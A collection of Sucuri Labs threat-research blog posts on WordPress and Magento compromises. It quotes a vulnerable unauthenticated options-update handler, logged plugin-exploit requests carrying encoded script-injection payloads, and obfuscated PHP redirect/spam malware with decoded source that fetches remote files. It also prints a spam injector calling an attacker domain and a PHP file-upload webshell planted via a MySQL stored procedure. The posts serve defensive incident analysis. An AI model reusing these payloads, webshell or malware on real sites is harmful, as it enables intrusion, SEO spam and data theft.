Sucuri Labs

The home of our Security Engineering Group, including our Threat Research, Technical Security and Automation teams.

WPTF Hybrid Composer – Unauthenticated Arbitrary Options Update

With almost 300 installs, WPTF - Hybrid Composer is a framework that helps users easily create custom themes for WordPress. We recently noticed an increase in suspicious requests, revealing an attack against this plugin.

Easily automated vulnerabilities are the first choice for bad actors. The following snippet provides a good example why attackers would target it:

function hc_ajax_save_option() {
    echo update_option($_POST['option_name'], $_POST['content']);

add_action('wp_ajax_nopriv_hc_ajax_save_option', 'hc_ajax_save_option');

The function “hc_ajax_save_option” uses the WordPress update_option(), along with two parameters that come directly from user input. Because the developers define “hc_ajax_save_option” as a non-private hook action, unauthenticated bad actors can obtain full access.

For those who doesn’t know, WordPress’ update_option() function is used to update any option in the options database table. Using this function, an attacker can gain admin access or inject arbitrary data into any site using vulnerable versions of this framework, 1.4.6 and lower.

The developer is aware of this vulnerability. This vulnerability was patched in a recent update, and we strongly encourage users to update their plugin if they haven’t already

Plugins Under Attack: June 2019

A long-lasting malware campaign (1,2) targeting deprecated, vulnerable versions of plugins continues to be leveraged by attackers to inject malicious scripts into affected websites.

As part of a strategy to rotate attack vectors and compromise as many sites as possible, we found a number of new plugins added to this campaign during this past month:

Plugins Under Attack

The plugins that are continuing to be leveraged and appear to be giving attackers the best results include:

Samples Attack Requests

WP-Piwik - wp-piwik%5Btrack_mode%5D=manually&**wp-piwik%5Btracking_code%5D**=%3Cscript+type%3Dtext%2Fjavascript+async%3Dtrue%3Evar+nt+%3D+String.fromCharCode%2898%2C+98%2C+98%2C+55%29%3Bvar+mb+%3D+String.fromCharCode%2897%2C+106%2C+97%2C+120%2C+67%2C+111%2C+117%2C+110%2C+116%2C+101%2C+114%29%3B...skipped...%2Cn%29%3B%3C%2Fscript%3E [25/Jun/2019] "POST /wp-admin/admin-post.php HTTP/1.1"

Blog Designer - action=save&custom_css=%3C%2Fstyle%3E%3Cscript+async%3Dtrue+type%3Dtext%2Fjavascript%3Evar+nt+%3D+String.fromCharCode%2898%2C+98%2C+98%2C+51%29%3Bvar+mb+%3D+String.fromChar...skipped...2C+114%2C+105%2C+112%2C+116%2C+38%2C+118%2C+61%29%3Bvar+c%3Ddocument.createElement%28sb%29%3Bc.type%3Dtb%2Cc.async%3D1%2Cc.src%3Dlb%2Bnt%3Bvar+n%3Ddocument.getElementsByTagName%28sb%29%5B0%5D%3Bn.parentNode.insertBefore%28c%2Cn%29%3B%3C%2Fscript%3E%3Cstyle%3E&updated=true [25/Jun/2019] "POST /wp-admin/admin-ajax.php HTTP/1.1"

WP Support Plus Responsive Ticket System - action=wpsp_upload_attachment [23/Jun/2019] "POST /wp-admin/admin-ajax.php HTTP/1.1"

Convert Plus Plugin - action=cp_add_subscriber&cp_set_user=administrator&cp_set_user=administrator&message=hello&message=letitbe¶¶ [16/Jun/2019:02:37:42 +0000] "POST /wp-admin/admin-ajax.php?action=cp_add_subscriber HTTP/1.1" 

Live Chat with Facebook Messenger - domain=%3C%2Fscript%3E%3Cscript+language%3Djavascript%3Eeval%28String.fromCharCode%28118%2C+97%2C+114%2C+32%2C+100%2C+61%2C+100%2C+111%2C+99%2C+117%2C+109%2C+101%2C+110%2C+116%2C+59%2C+118%2C+97%2C+114%2C+32%2C+115%2C+61%2C+100%2C+46%2C+99%2C+114%2C+101%2C+97%2C+116%2C+101%2C+69%2C+108%2C+101%2C+109%2C+101%2C+110%2C+116%2C+40%2C+39%2C+115%2C+99%2C+114%2C+105%2C+112%2C+116%2C+39%2C+41%2C+59%2C+32%2C+10%2C+115%2C+46%2C+116%2C+12...skipped...+101%2C+40%2C+39%2C+104%2C+101%2C+97%2C+100%2C+39%2C+41%2C+91%2C+48%2C+93%2C+46%2C+97%2C+112%2C+112%2C+101%2C+110%2C+100%2C+67%2C+104%2C+105%2C+108%2C+100%2C+40%2C+115%2C+41%2C+59%2C+10%2C+125%29%29%3B%3C%2Fscript%3E%3Cscript%3E [07/Jun/2019:14:01:05 +0000] "POST /wp-admin/admin-ajax.php?action=update_zb_fbc_code HTTP/1.1"

WP Quick Booking Manager - action=gen_save_cssfixfront&css=%3C%2Fstyle%3E%3Cscript+language%3Djavascript%3Eeval%28String.fromCharCode%28118%2C+97%2C+114%2C+32%2C+100%2C+61%2C+100%2C+111%2C+99%2C+117%2C+109%2C+101%2C+110%2C+116%2C+59%2C+118%2C+97%2C+114%2C+32%2C+115%2C+61%2C+100%2C+46%2C+99%2C+114%2C+101%2C+97%2C+116%2C+101%2C+69%2C+108%2C+101%2C+109%2C+101%2C+110%2C+116%2C+40%2C+39%2C+115%2C+99%2C+114%2C+105%2C+112%2C+116%2C+39%2C+41%2C+59%2C+32%2C+...skipped...5%2C+108%2C+100%2C+40%2C+115%2C+41%2C+59%2C+10%2C+125%29%29%3B%3C%2Fscript%3E%3Cstyle%3E&cssfix=front [07/Jun/2019:14:01:02 +0000] "POST /wp-admin/admin-ajax.php HTTP/1.1"

Post Custom Templates Lite - otw_pctl_action=manage_otw_pctl_options&otw_pctl_custom_css=%3C%2Ftextarea%3E%3Cscript+language%3Djavascript%3Eeval%28String.fromCharCode%28118%2C+97%2C+114%2C+32%2C+100%2C+61%2C+100%2C+111%2C+99%2C+117%2C+109%2C+101%2C+110%2C+116%2C+59%2C+118%2C+97%2C+114%2C+32%2C+115%2C+61%2C+100%2C+46%2C+99%2C+114%2C+101%2C+97%2C+116%2C+101%2C+69%2C+108%2C+...skipped...%2C+84%2C+97%2C+103%2C+78%2C+97%2C+109%2C+101%2C+40%2C+39%2C+104%2C+101%2C+97%2C+100%2C+39%2C+41%2C+91%2C+48%2C+93%2C+46%2C+97%2C+112%2C+112%2C+101%2C+110%2C+100%2C+67%2C+104%2C+105%2C+108%2C+100%2C+40%2C+115%2C+41%2C+59%2C+10%2C+125%29%29%3B%3C%2Fscript%3E [07/Jun/2019] "POST /wp-admin/admin-post.php HTTP/1.1"

Wp File Manager - action=mk_check_filemanager_php_syntax [01/Jun/2019] "POST /wp-admin/admin-ajax.php HTTP/1.1"

Malicious Domains and IPs




We strongly encourage you to keep your software up to date to prevent infection. You can add a WAF as a second layer of protection to virtually patch these vulnerabilities.

web.config redirect malware

We recently found this malware on a windows hosting server where the web.config file was modified with the following code:We recently found this malware on a windows hosting server where the web.config file was modified with the following code:

The code redirects multiple user agents and users referred from Google,Yahoo, MSN etc. to conceit-gleaned.php
The file conceit-gleaned.php contains the malware that is encoded to avoid detection, but we were able to reverse it and pull the plain text code.The malware communicates with the website gettheseorders[dot]ru in order to redirect users to the page they want. In this case, it redirected to Viagra-related pages but it could be anything in the future.

This is the malware added to the file conceit-gleaned.php:

<?php $ZdcIihIC="bSh8gtxCo6JlYQiK4AkwdIDe_VnN7OTfFr3sPZHaG291jRUqmcvXMzEy50puLWB";$wHnnxSifPdjM=$ZdcIihIC[0].
 $ZdcIihIC[39] . $ZdcIihIC[35] . $ZdcIihIC[23]. $ZdcIihIC[9] .$ZdcIihIC[16] . $ZdcIihIC[24]. $ZdcIihIC[20] .
 $ZdcIihIC[23]. $ZdcIihIC[49].$ZdcIihIC[8].$ZdcIihIC[20] .$ZdcIihIC[23];$cQBlOMOpUwc=$ZdcIihIC[4].$ZdcIihIC[53] .
 $ZdcIihIC[14].$ZdcIihIC[26] .$ZdcIihIC[31] .$ZdcIihIC[11] . $ZdcIihIC[39] .$ZdcIihIC[5]. $ZdcIihIC[23];
 $bHUDmvkyJ=$ZdcIihIC[23]. $ZdcIihIC[33].$ZdcIihIC[33] . $ZdcIihIC[8] .$ZdcIihIC[33] .$ZdcIihIC[24] .
  $ZdcIihIC[33] .$ZdcIihIC[23]. $ZdcIihIC[58] .$ZdcIihIC[8]. $ZdcIihIC[33] .$ZdcIihIC[5].$ZdcIihIC[14]. 
  $ZdcIihIC[26] .$ZdcIihIC[4];$cBpAXxrcExTv=$ZdcIihIC[49].$ZdcIihIC[33]. $ZdcIihIC[23] . $ZdcIihIC[39].
   $ZdcIihIC[5]. $ZdcIihIC[23].$ZdcIihIC[24]. $ZdcIihIC[31]. $ZdcIihIC[59]. $ZdcIihIC[26].$ZdcIihIC[49]. 
   $ZdcIihIC[5]. $ZdcIihIC[14]. $ZdcIihIC[8] . $ZdcIihIC[26];$bHUDmvkyJ(0);

We were able to reverse it and this is the code that causes the redirect:

Here is the full script after we decoded it:

function change_page_regex($page, $links,$reg,$res){
$elements = array(); if (preg_match_all($reg, $page, $result)) { 
$elements = $result[$res]; $elements = array_unique($elements);
for ($i = 0; $i < $m; $i++) { $link = array_shift($links); $element = array_shift($elements); $page = preg_replace('/' . preg_quote($element, '/') . '/', '$0 ' . $link, $page, 1); } if (count($links)>0){ $element = "<p>"; $element .= implode("<br>\n", $links); $element .= "</p>"; $page = preg_replace('/\<\/body\>/i', "\n" . $element . "\n$0", $page, 1); return $page;}
function curly_page_get($url,$useragent="Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.113 Safari/537.36"){ $ch = curl_init (); curl_setopt ($ch, CURLOPT_URL,$url); curl_setopt ($ch, CURLOPT_RETURNTRANSFER, 1); curl_setopt ($ch, CURLOPT_TIMEOUT, 3000); curl_setopt ($ch, CURLOPT_SSL_VERIFYPEER, 0); curl_setopt ($ch, CURLOPT_SSL_VERIFYHOST, 0); curl_setopt ($ch, CURLOPT_USERAGENT, $useragent); $result = curl_exec ($ch); $curly_page_get_info=curl_getinfo($ch);
curl_close($ch); return array($result,$curly_page_get_info);}
function get_proxy_page(){ $proto=stripos(@$_SERVER['SERVER_PROTOCOL'],'https') === true ? 'https://' : 'http://'; $crurl=$proto.@$_SERVER['HTTP_HOST'].@$_SERVER['REQUEST_URI']; list($buf,$curly_page_get_info)=curly_page_get($crurl);
$ct=@$curly_page_get_info['content_type']; $nexturl=@$curly_page_get_info['redirect_url']; $status=@$curly_page_get_info['http_code']; if (status!="")header("Status: $status");
if ($ct!=""){ header("Content-type: $ct"); if ($nexturl!=""){ header("Location: $nexturl"); return array($buf,$ct);
if (function_exists('sys_get_temp_dir')) {$tmppath = sys_get_temp_dir();if (!is_dir($tmppath)){ $tmppath = (dirname(__FILE__)); } } else { $tmppath = (dirname(__FILE__));}
if (($x!="")&&($p==$md5pass)){
if ($x=="2"){ echo "###UPDATING_FILES###\n"; list($buf1,$curly_page_get_info)=@curly_page_get("http://update.".$domain."/images/".$md5host."/emoji1.png"); @file_put_contents($configs,$buf1); list($buf1,$curly_page_get_info)=@curly_page_get("http://update.".$domain."/images/".$md5host."/metaicons.jpg"); @file_put_contents($bd,$buf1); list($buf1,$curly_page_get_info)=@curly_page_get("http://update.".$domain."/images/".$md5host."/wp-themesall.gif"); @file_put_contents($templ,$buf1);
 if ($x=="4"){ echo "###WORKED###\n";exit; 
$cf=array(); if (@file_exists($configs)){ $cf=@unserialize(@base64_decode(@file_get_contents($configs))); if (@isset($cf[$md5urx])){ $bot=0;$se=0;$ua=@$_SERVER["HTTP_USER_AGENT"];$ref=@$_SERVER["HTTP_REFERER"];$myip=@$_SERVER["REMOTE_ADDR"]; if (preg_match("#google|bing\.com|msn\.com|ask\.com|aol\.com|altavista|search|yahoo|conduit\.com|charter\.net|wow\.com|mywebsearch\.com|handycafe\.com|babylon\.com#i", $ref))$se=1; if (preg_match("#google|gsa-crawler|AdsBot-Google|Mediapartners|Googlebot-Mobile|spider|bot|yahoo|google web preview|mail\.ru|crawler|baiduspider#i", $ua))$bot=1; $off=$cf[$md5urx]+0; $template=@base64_decode(@file_get_contents($templ));$f=@fopen($bd,"r");@fseek($f,$off);$buf=trim(@fgets($f,10000000));@fclose($f);$info=unserialize(base64_decode($buf)); $keyword=@$info["keyword"];$IDpack=@$info["IDpack"];$base=@$info["base"];$text=@$info["text"];$title=@$info["title"];$description=@$info["description"];$uckeyword=ucwords($keyword);$inside_links=@$info["inside_links"]; if ($bot) { if (isset($info["contenttype"])){$contenttype=@base64_decode($info["contenttype"]);$types=explode("\n",$contenttype);foreach($types as $val){$val=trim($val);if($val!="")header($val);}}
if (isset($info["isdoor"])){
if (isset($info["standalone"])){ $doorcontent=base64_decode($text); echo $doorcontent;exit; }else{ $template=str_replace("%text%",$text,$template); $template=str_replace("%title%",$title,$template); $template=str_replace("%description%",$description,$template); $template=str_replace("%uckeyword%",$uckeyword,$template); $template=str_replace("%keyword%",str_replace(" ", ",", trim($keyword)),$template);
foreach($inside_links as $i => $link){ $template=str_replace("%INSIDE_LINK_".$i."%",$link,$template); }
echo $template;exit; } }else{
if (stristr($ct,"text/html")){ $rega='/\<a\s.*?\>.*?\<\/a\>/i';$resa=0; $links=$info["links_a"]; $buf=change_page_regex($buf,$links,$rega,$resa);
$regp='/(.{30}\<\/p\>)/is';$resp=1; $links=$info["links_p"]; $buf=change_page_regex($buf,$links,$regp,$resp);
echo $buf; }
} if ($se) { if (isset($info["isdoor"])){ list($buf1,$curly_page_get_info)=curly_page_get("http://$domain/ff.php?ip=".$IDpack."&mk=".rawurlencode($keyword)."&base=".rawurlencode($base)."&d=".rawurlencode($host)."&u=".rawurlencode($urx)."&addr=".$myip."&ref=".rawurlencode($ref),$ua); echo $buf1;exit; }else{ list($buf,$ct)=get_proxy_page(); echo $buf;exit; } } }else{
list($buf,$ct)=get_proxy_page(); echo $buf; 

You can see here that different data is recorded. By providing only the first two variables, we were still redirected to a spam site:


I was able to get redirected to the following spam/scam sites:


In this case, the web.config file was used to facilitate this redirect, as this was a Windows hosting environment, but it can easily be adopted to work under Linux. We recommend checking the .htaccess file or the web.config file if you are dealing with a similar problem. Also removing the malicious files; the path to them can be found in the configuration files I previously mentioned.

Spam Injector Masquerading as Google Analytics

The domain en-google-analytic[.]com, currently sinkholed by a security intelligence company, has been observed by our team to be part of a mass spam injection campaign. This attack was active as far back as February 2016 according to the Internet Archive Wayback Machine.

We have seen recent cases in the wild where a script is injected into WordPress posts. The script then generates an AJAX request from a visitor's web browser to the following URL format:


The results are then inserted directly into the document body by using JavaScript to insert spam links (as shown in the partial sample below):

clientInfo.callGet('hxxp://en-google-analytic[.]com/client-slots/check/' + dataString, function(dataLinks) { 
  if (dataLinks) { 
    dataLinks = 
    for (var i = 0; i < dataLinks.length; i++) { 
       var div1 = document.createElement('a'); 
       div1.title = dataLinks[i].anchor; 
       div1.href = dataLinks[i].href; 
       div1.setAttribute('style', 'display:block;'); 
       div1.innerHTML = dataLinks[i].anchor; 
       document.body.insertBefore(div1, document.body.firstChild); 

It’s worth noting that this piece of malware captures the IP address using a remote request to which is a legitimate third-party API service.

So, if you happen to stumble upon references to en-google-analytic[.]com on your website or in your WordPress posts, it would be a good idea to have the site checked out to make sure it’s not infected with spam as part of this campaign.

CC Stealing code pretending to be Bing ads.

During a recent investigation we found this suspicious code pretending to be associated with Bing ads.After further review, we see that the code is actually injecting JavaScript from “js-mini[.]com”.The injected code is then used to capture credit card information on Magento sites and sending it to the same domain.

Here is some of the code that was loading from js-mini[.]com/ajax/libs/jquery-1.1.2.js:

You can see that the code is harvesting the login credentials and attempting to send the data to an external destination.

This code was found in the database of a Magento site under core_config_data.value, config_id = 40

It’s unknown how many credentials were harvested by this malware, but you can see how malware can be heavily obfuscated and made to look like legitimate code. If ignored, this code could have kept stealing personal data from people shopping online. We recommend making sure that your ecommerce site is up to date on all of its patches and look for any code loading from external sources, as this could be a sign of malware.

Leveraging Stored Procedures for Nefarious Purposes

Here at Sucuri, we clean thousands of websites on a daily basis, and while some of them are easy to solve, others may require more investigation in order to find the root cause.

We’re used to seeing different causes of reinfections on web sites, which can be grouped into the following types:

        1 - Reuse of passwords: This scenario occurs when credentials are leaked after a site compromise. Attackers often leverage these leaked passwords to access other systems which may be using the same password.
        2 - Site vulnerabilities: Outdated and vulnerable software are a common cause of malware infections. It is important to keep plugins, themes, and CMS’ up-to-date at all times.
        3 - Shared server infections:. This scenario occurs when multiple websites are stored on the same server or FTP account and a compromise (or infection) occurs. If one website is infected, it’s very easy for the infection to spread to every website on the server.
        4 - A backdoor is still present in your site: Even if you’ve removed any visible malware, you might still have hidden backdoors that attackers can use to compromise and reinfect your site.

Technical Details

A website reinfection was occurring after a a file was repeatedly being added to WordPress core: “wp-includes/class-wp-change.php”

We made sure that all passwords were changed and not reused, reviewed users, checked all files, and ensured the environment wasn't prone to cross-contamination. Only one thing was left to check: the database.

We came across the following data inside of a table called "foo":

"<?php if(isset($_GET['good'])){if(isset($_FILES['im'])){$dim=getcwd().'/';$im=$_FILES['im'];
@move_uploaded_file($im['tmp_name'], $dim.$im['name']);
echo\"Done: \".$dim.$im['name'];}else{?><form method=\"POST\" enctype=\"multipart/form-data\"><
input type=\"file\" name=\"im\"/><input type=\"Submit\"/></form><?php }} ?>"

As you can see, it's a PHP code which loads a form that uploads a file into the server. But how is it loaded? Since we know that foo is not part of the WordPress database structure, how is it being called?

After checking the database a little deeper, we learned that the code was part of a mysql stored procedure that had been created during the site compromise, allowing attackers to maintain access to the environment.

Once executed, the stored procedure creates the table called “foo” with the malicious code. It then dumps the content into the file ‘wp-includes/class-wp-change.php’.

CREATE TABLE `foo` (`line` longtext) ENGINE = InnoDB;
INSERT INTO `foo` VALUES ("<?php if(isset($_GET['good']))et($_FILES['im'])){$dim=getcwd().'/';
$im=$_FILES['im'];@move_uploaded_file($im['tmp_name'], $dim.$im['name']);echo\"Done: $dim.$im['name'];}else{?><
form method=\"POST\" enctype=\"multipart/form-data\"><input type=\"file\" name=\"im\"/><
input e=\"Submit\"/></form><?php }} ?>");


Since it’s not a very popular feature, stored procedures can easily be overlooked by untrained professionals or inexperienced website owner. Investigating the root causes of an infection and going deeper to solve our clients problems is part of our job. If you need any assistance, please don't hesitate to find us.

Malware Infection from One Directory Up

Malicious code can reside anywhere on the site — not just in the web directory of the folder.

During a recent incident response, all pages of a customer’s site were getting redirected to random URLs, making the problem hard to isolate at first.

A good first step is to use a tool to perform an integrity check on your site's files. If you can identify that all files are good, the next step is to check the database. This isn't always an easy task, however.

The following code was found in one of the DB entries that stored PHP code for further execution:

<?php if(isset($_REQUEST['ghtre'])){include('/home/content/{USER_HOME_DIR}/1/data/wordpress'); exit;} ?>

As you can see, the code includes a file which is not in the webroot but in a directory one level up — and is missing an extension. This approach is taken to avoid detection.

The content it fetches varies the sites to which the visitor is redirected:

$client = new Client;
if (isset($_GET["u"])) $client->proxy();
elseif (isset($_GET["chk"])) $client->check_availability();
elseif (isset($_POST["upd"])) $client->update_client();
elseif (isset($_GET["delcache"])||isset($_GET[""]))
 $client->delCache($_GET['delcache'], $_GET['delpage']);
if($content = $client->getContent()) echo $content;
else {usleep(500000); echo $client-> getContent();}

In conclusion, malware can sometimes operate from outside the web directories. For this reason, it’s very important to check and clean the entire environment to keep the site clean and avoid re-infections or cross-contaminations.